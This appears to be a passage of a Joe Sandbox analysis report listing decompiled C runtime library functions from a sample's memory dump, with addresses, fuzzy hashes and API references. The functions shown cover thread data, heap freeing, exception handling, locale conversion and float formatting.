Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 11767864087e168163906b1a0de3cd6c6b269685fe490d3a212fb729674d7c71
Instruction ID: f218a501bb749dc64acd79cf1eec35449549b5338832e42a80785c156b295acc
Opcode Fuzzy Hash: 11767864087e168163906b1a0de3cd6c6b269685fe490d3a212fb729674d7c71
Instruction Fuzzy Hash: DDE04F716041048FD710AB75C546B293395EF95328F2945BBF88CE73A2DB7CEC40959B

Uniqueness

Uniqueness Score: -1.00%

Function 0040A831, Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0040A831(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x417c20);
				E00404BF4(__ebx, __edi, __esi);
				_t31 = E00407D3A(__ebx, __edx, __edi, _t35);
				_t15 =  *0x419cac; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E004040FD(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x419bb0; // 0x761608
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x419788;
								if(__eflags != 0) {
									_push(_t33);
									E00403DD5(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x419bb0; // 0x761608
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x419bb0; // 0x761608
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0040A8CC();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00404E3C(_t29, _t31, 0x20);
				}
				return E00404C39(_t33);
			}

0x0040a831
0x0040a831
0x0040a831
0x0040a831
0x0040a833
0x0040a838
0x0040a842
0x0040a844
0x0040a84c
0x0040a86d
0x0040a873
0x0040a877
0x0040a87a
0x0040a87d
0x0040a883
0x0040a885
0x0040a887
0x0040a88a
0x0040a890
0x0040a892
0x0040a894
0x0040a89a
0x0040a89c
0x0040a89d
0x0040a8a2
0x0040a89a
0x0040a892
0x0040a8a3
0x0040a8a8
0x0040a8ab
0x0040a8b1
0x0040a8b5
0x0040a8b5
0x0040a8bb
0x0040a8c2
0x0040a854
0x0040a854
0x0040a854
0x0040a859
0x0040a85d
0x0040a862
0x0040a86a

APIs

__getptd.LIBCMT ref: 0040A83D

Part of subcall function 00407D3A: __getptd_noexit.LIBCMT ref: 00407D3D
Part of subcall function 00407D3A: __amsg_exit.LIBCMT ref: 00407D4A

__amsg_exit.LIBCMT ref: 0040A85D
__lock.LIBCMT ref: 0040A86D
InterlockedDecrement.KERNEL32(?), ref: 0040A88A
InterlockedIncrement.KERNEL32(00761608), ref: 0040A8B5

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: df8b319334c9dffed8e4e81e6ef010b76708ae9ee351cabe295b8a26dc7bb0a3
Instruction ID: 91a17e232459e9d3eb0f9b878f5127243be46936de9d81255859fe926c2e07ff
Opcode Fuzzy Hash: df8b319334c9dffed8e4e81e6ef010b76708ae9ee351cabe295b8a26dc7bb0a3
Instruction Fuzzy Hash: 9A015E369017119BD621BF66A44579A77A0BF44715F14C03BE814772D0CB3CAE52CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00403DD5, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E00403DD5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x4178c8);
				_t8 = E00404BF4(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E00404C39(_t8);
				}
				if( *0x441298 != 3) {
					_push(_t23);
					L7:
					_t8 = HeapFree( *0x43b33c, 0, ??);
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E00403D24(_t31);
						 *_t10 = E00403CE2(GetLastError());
					}
					goto L9;
				}
				E004040FD(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E00404130(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E00404160();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E00403E2B();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x00403dd5
0x00403dd7
0x00403ddc
0x00403de1
0x00403de6
0x00403e5d
0x00403e62
0x00403e62
0x00403def
0x00403e34
0x00403e35
0x00403e3d
0x00403e43
0x00403e45
0x00403e47
0x00403e5a
0x00403e5c
0x00000000
0x00403e45
0x00403df3
0x00403df9
0x00403dfe
0x00403e04
0x00403e09
0x00403e0b
0x00403e0c
0x00403e0d
0x00403e13
0x00403e14
0x00403e1b
0x00403e24
0x00000000
0x00403e26
0x00403e26
0x00000000
0x00403e26

APIs

__lock.LIBCMT ref: 00403DF3

Part of subcall function 004040FD: __mtinitlocknum.LIBCMT ref: 00404113
Part of subcall function 004040FD: __amsg_exit.LIBCMT ref: 0040411F
Part of subcall function 004040FD: EnterCriticalSection.KERNEL32(00407CDD,00407CDD,?,00403EE4,00000004,004178E8,0000000C,00409EFE,00000001,00407CEC,00000000,00000000,00000000,?,00407CEC,00000001), ref: 00404127

___sbh_find_block.LIBCMT ref: 00403DFE
___sbh_free_block.LIBCMT ref: 00403E0D
HeapFree.KERNEL32(00000000,00000001,004178C8,0000000C,004040DE,00000000,00417908,0000000C,00404118,00000001,00407CDD,?,00403EE4,00000004,004178E8,0000000C), ref: 00403E3D
GetLastError.KERNEL32(?,00403EE4,00000004,004178E8,0000000C,00409EFE,00000001,00407CEC,00000000,00000000,00000000,?,00407CEC,00000001,00000214), ref: 00403E4E

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 83fe72395b55352fde889b91d6923bcca73cef3a76c9f062a1a90781d3e2f4e2
Instruction ID: 7b729b00a2c1be1ce56e30c4408c357f0457e27551e041769e8849bd329eba92
Opcode Fuzzy Hash: 83fe72395b55352fde889b91d6923bcca73cef3a76c9f062a1a90781d3e2f4e2
Instruction Fuzzy Hash: FC012171905215A6DF20BF62EC0A75F7EA8AF5172AF20453AF504B61D1CB3C8A409A9D

Uniqueness

Uniqueness Score: -1.00%

Function 004095BF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 24%

			E004095BF(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				intOrPtr _t19;
				void* _t21;
				void* _t22;
				void* _t24;
				intOrPtr* _t25;
				void* _t26;
				void* _t27;

				_t26 = __esi;
				_t25 = __edi;
				_t24 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t29 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0040952D(__ebx, __edi, __esi, _t29);
					_t27 = _t27 + 0x10;
				}
				_t30 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t26);
				}
				E004033DE(_t22);
				_push( *_t25);
				_push(_a16);
				_push(_a12);
				_push(_t26);
				E00408FAA(_t21, _t24, _t25, _t26, _t30);
				_push(0x100);
				_push(_a24);
				_t19 =  *((intOrPtr*)(_t25 + 4)) + 1;
				_push(_a16);
				 *((intOrPtr*)(_t26 + 8)) = _t19;
				_push(_a8);
				_push(_t26);
				_push(_a4);
				"j,h {A"();
				if(_t19 != 0) {
					E00403397(_t19, _t26);
					return _t19;
				}
				return _t19;
			}

0x004095bf
0x004095bf
0x004095bf
0x004095bf
0x004095bf
0x004095c4
0x004095c8
0x004095ca
0x004095cd
0x004095ce
0x004095cf
0x004095d2
0x004095d7
0x004095d7
0x004095da
0x004095de
0x004095e1
0x004095e6
0x004095e3
0x004095e3
0x004095e3
0x004095e9
0x004095ee
0x004095f0
0x004095f3
0x004095f6
0x004095f7
0x004095ff
0x00409604
0x00409607
0x00409608
0x0040960b
0x0040960e
0x00409614
0x00409615
0x00409618
0x00409622
0x00409626
0x00000000
0x00409626
0x0040962c

APIs

___BuildCatchObject.LIBCMT ref: 004095D2

Part of subcall function 0040952D: ___BuildCatchObjectHelper.LIBCMT ref: 00409563

_UnwindNestedFrames.LIBCMT ref: 004095E9
___FrameUnwindToState.LIBCMT ref: 004095F7

Strings

csm, xrefs: 004095CE, 004095E3, 004095F6, 00409614, 00409624

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: d22ffe9363a6998e1e2d35ed5cd282cdf03ba47786016133a39b01d8c6c55dd1
Instruction ID: 3d7bbc98cbbb578704ac9b831b5f768ac98486e66d0a21a489025599a94ffa92
Opcode Fuzzy Hash: d22ffe9363a6998e1e2d35ed5cd282cdf03ba47786016133a39b01d8c6c55dd1
Instruction Fuzzy Hash: C4014B7200110ABBCF136F52CD45EAB3F6AEF18354F00402AFC18251A2DB3AD971DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D19E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040D19E() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x415ec8;
					_v28 =  *0x415ec0;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x0040d1a3
0x0040d1ab
0x0040d1c2
0x0040d16e
0x0040d177
0x0040d183
0x0040d186
0x0040d189
0x0040d18b
0x0040d18e
0x0040d193
0x0040d19d
0x0040d195
0x0040d199
0x0040d199
0x0040d1ad
0x0040d1b3
0x0040d1bb
0x00000000
0x0040d1bd
0x0040d1bd
0x0040d1c1
0x0040d1c1
0x0040d1bb

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00406F9A), ref: 0040D1A3
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040D1B3

Strings

IsProcessorFeaturePresent, xrefs: 0040D1AD
KERNEL32, xrefs: 0040D19E

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 7a4f6552a5c70077fd188afe2215c6b0e9a2eb2d8ad2c28a665e6653f5482ad3
Instruction ID: 51f5aa84512da9266378889fd153073e9ffe5a27aa130a7dee8bf32e682b94cc
Opcode Fuzzy Hash: 7a4f6552a5c70077fd188afe2215c6b0e9a2eb2d8ad2c28a665e6653f5482ad3
Instruction Fuzzy Hash: 19F03030E10B09D2DB001BE1AD0A6EF7F79FBC4742F9644A1D195B40C8DF7485B9924A

Uniqueness

Uniqueness Score: -1.00%

Function 0040230A, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E0040230A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v0;
				signed int _v4;
				char _v40;
				char _v80;
				char* _t21;
				char* _t25;

				_push(0x44);
				E0040379A(E00412E6E, __ebx, __edi, __esi);
				E00401A03( &_v40, "invalid string position");
				_v4 = _v4 & 0x00000000;
				_t21 =  &_v80;
				E00402283(_t21,  &_v40);
				E0040334B( &_v80, 0x417708);
				asm("int3");
				_push(__esi);
				_t25 = _t21;
				 *((intOrPtr*)(_t25 + 0x18)) = 0xf;
				E00401C5E(_t21, 0);
				E00401A39(_t25, _v0, 0, 0xffffffff);
				return _t25;
			}

0x0040230a
0x00402311
0x0040231e
0x00402323
0x0040232b
0x0040232e
0x0040233c
0x00402341
0x00402347
0x00402348
0x0040234c
0x00402353
0x00402361
0x0040236a

APIs

__EH_prolog3.LIBCMT ref: 00402311
std::bad_exception::bad_exception.LIBCMT ref: 0040232E

Part of subcall function 00402283: std::runtime_error::runtime_error.LIBCPMT ref: 0040228E

__CxxThrowException@8.LIBCMT ref: 0040233C

Part of subcall function 0040334B: RaiseException.KERNEL32(?,?,00403108,?,?,?,?,?,00403108,?,00417E28,0043B1C8,?,00401F8A,00000001,?), ref: 0040338D

Strings

invalid string position, xrefs: 00402316

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 3299838469-1799206989
Opcode ID: c43182022267365bb9ba7648c8c90cf4262ec98d1ee90540f659b647853b32ce
Instruction ID: 89d6d38efbeb5c2f1138857e75f45f457e0861c9cc5b8e0296e64418fb672bb9
Opcode Fuzzy Hash: c43182022267365bb9ba7648c8c90cf4262ec98d1ee90540f659b647853b32ce
Instruction Fuzzy Hash: BDD0EC71941208A6CB00EAE1C846BDD77786B14706F14006BA101B60C1DBB8A744C658

Uniqueness

Uniqueness Score: -1.00%

Function 00410732, Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00410732(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040535F( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E0040C2A0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E00403D24(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0x75ff5003
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0x75ff5003
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t26 = _t56 + 0xac; // 0x75ff5003
								_t57 =  *_t26;
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x0041073c
0x00410743
0x0041075a
0x00000000
0x0041074a
0x0041074c
0x00410766
0x0041076b
0x0041076e
0x00410771
0x0041079a
0x004107a1
0x004107a3
0x00410824
0x00410836
0x0041083f
0x00410841
0x00410781
0x00410781
0x00410784
0x00410786
0x00410789
0x00410789
0x00410789
0x00410789
0x00000000
0x0041078f
0x00410803
0x00410803
0x00410808
0x0041080e
0x00410811
0x00410813
0x00410816
0x00410816
0x00410816
0x00410816
0x00000000
0x0041081a
0x004107a5
0x004107a8
0x004107a8
0x004107ae
0x004107b1
0x004107d8
0x004107db
0x004107db
0x004107e1
0x00000000
0x00000000
0x004107e3
0x004107e6
0x00000000
0x00000000
0x004107e8
0x004107e8
0x004107e8
0x004107ee
0x004107f1
0x0041075f
0x0041075f
0x004107fa
0x00000000
0x004107fa
0x004107b3
0x004107b6
0x00000000
0x00000000
0x004107ba
0x004107c8
0x004107cb
0x004107d1
0x004107d3
0x004107d6
0x00000000
0x00000000
0x00000000
0x004107d6
0x00410773
0x00410776
0x00410778
0x0041077e
0x0041077e
0x00000000
0x0041074e
0x0041074e
0x00410753
0x00410757
0x00410757
0x00000000
0x00410753
0x0041074c

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00410766
__isleadbyte_l.LIBCMT ref: 0041079A
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,75FF5003,00BFBBEF,00000000,?,?,?,0040B84B,00000109,00BFBBEF,00000003), ref: 004107CB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,0040B84B,00000109,00BFBBEF,00000003), ref: 00410839

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8cf5a33f636e8a764721b8ba9fc6c6ed6faa9b049ffad90ce052bad80ae61f6f
Instruction ID: 0e9a68d1823ca74a9f33cd6cb210e3f91d3ada58805edcc07a28d338d333643a
Opcode Fuzzy Hash: 8cf5a33f636e8a764721b8ba9fc6c6ed6faa9b049ffad90ce052bad80ae61f6f
Instruction Fuzzy Hash: 0A318131A04246EFDB20EF64C880AEB7BA5AF01311F14856AE4659B2D1D7B4EDC0DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040D08A, Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040D08A(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0040C97B(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0040CA6B(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E0040CF90(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0040CED5(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x0040d08f
0x0040d095
0x0040d108
0x00000000
0x0040d09c
0x0040d09c
0x0040d09f
0x0040d0ba
0x0040d0bd
0x0040d0dd
0x0040d0ef
0x0040d0bf
0x0040d0bf
0x0040d0c2
0x00000000
0x0040d0c4
0x0040d0d6
0x0040d0d6
0x0040d0c2
0x0040d10d
0x0040d111
0x0040d0a1
0x0040d0b9
0x0040d0b9
0x0040d09f

APIs

__cftof_l.LIBCMT ref: 0040D0B0

Part of subcall function 0040CED5: __fltout2.LIBCMT ref: 0040CF01

__cftog_l.LIBCMT ref: 0040D0D6
__cftoe_l.LIBCMT ref: 0040D108

Memory Dump Source

Source File: 00000019.00000002.372953677.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.372932639.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.373039286.0000000000419000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373057118.000000000041A000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373076786.0000000000433000.00000008.00020000.sdmp Download File
Associated: 00000019.00000002.373090571.000000000043B000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.373107435.0000000000442000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_3D67.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 51ef9bc72ac902a09d524b03035f6f1e9b85d9333f08c691e233fb9625404e9c
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 9511727240014ABBCF125FC5DC41CEE3F22BB18358F588526FA1868571C63AC976AB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF9D, Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0040AF9D(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x417c60);
				E00404BF4(__ebx, __edi, __esi);
				_t28 = E00407D3A(__ebx, __edx, __edi, _t30);
				_t13 =  *0x419cac; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E004040FD(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x419d90; // 0x419cb8
					 *((intOrPtr*)(_t29 - 0x1c)) = E0040AF5F(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0040B007();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E00407D3A(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00404E3C(_t25, _t26, 0x20);
				}
				return E00404C39(_t28);
			}

0x0040af9d
0x0040af9d
0x0040af9d
0x0040af9d
0x0040af9d
0x0040af9f
0x0040afa4
0x0040afae
0x0040afb0
0x0040afb8
0x0040afdc
0x0040afde
0x0040afe4
0x0040afe8
0x0040afeb
0x0040aff6
0x0040aff9
0x0040b000
0x0040afba
0x0040afba
0x0040afbe
0x00000000
0x0040afc0
0x0040afc5
0x0040afc5
0x0040afbe
0x0040afca
0x0040afce
0x0040afd3
0x0040afdb

APIs

__getptd.LIBCMT ref: 0040AFA9

Part of subcall function 00407D3A: __getptd_noexit.LIBCMT ref: 00407D3D
Part of subcall function 00407D3A: __amsg_exit.LIBCMT ref: 00407D4A

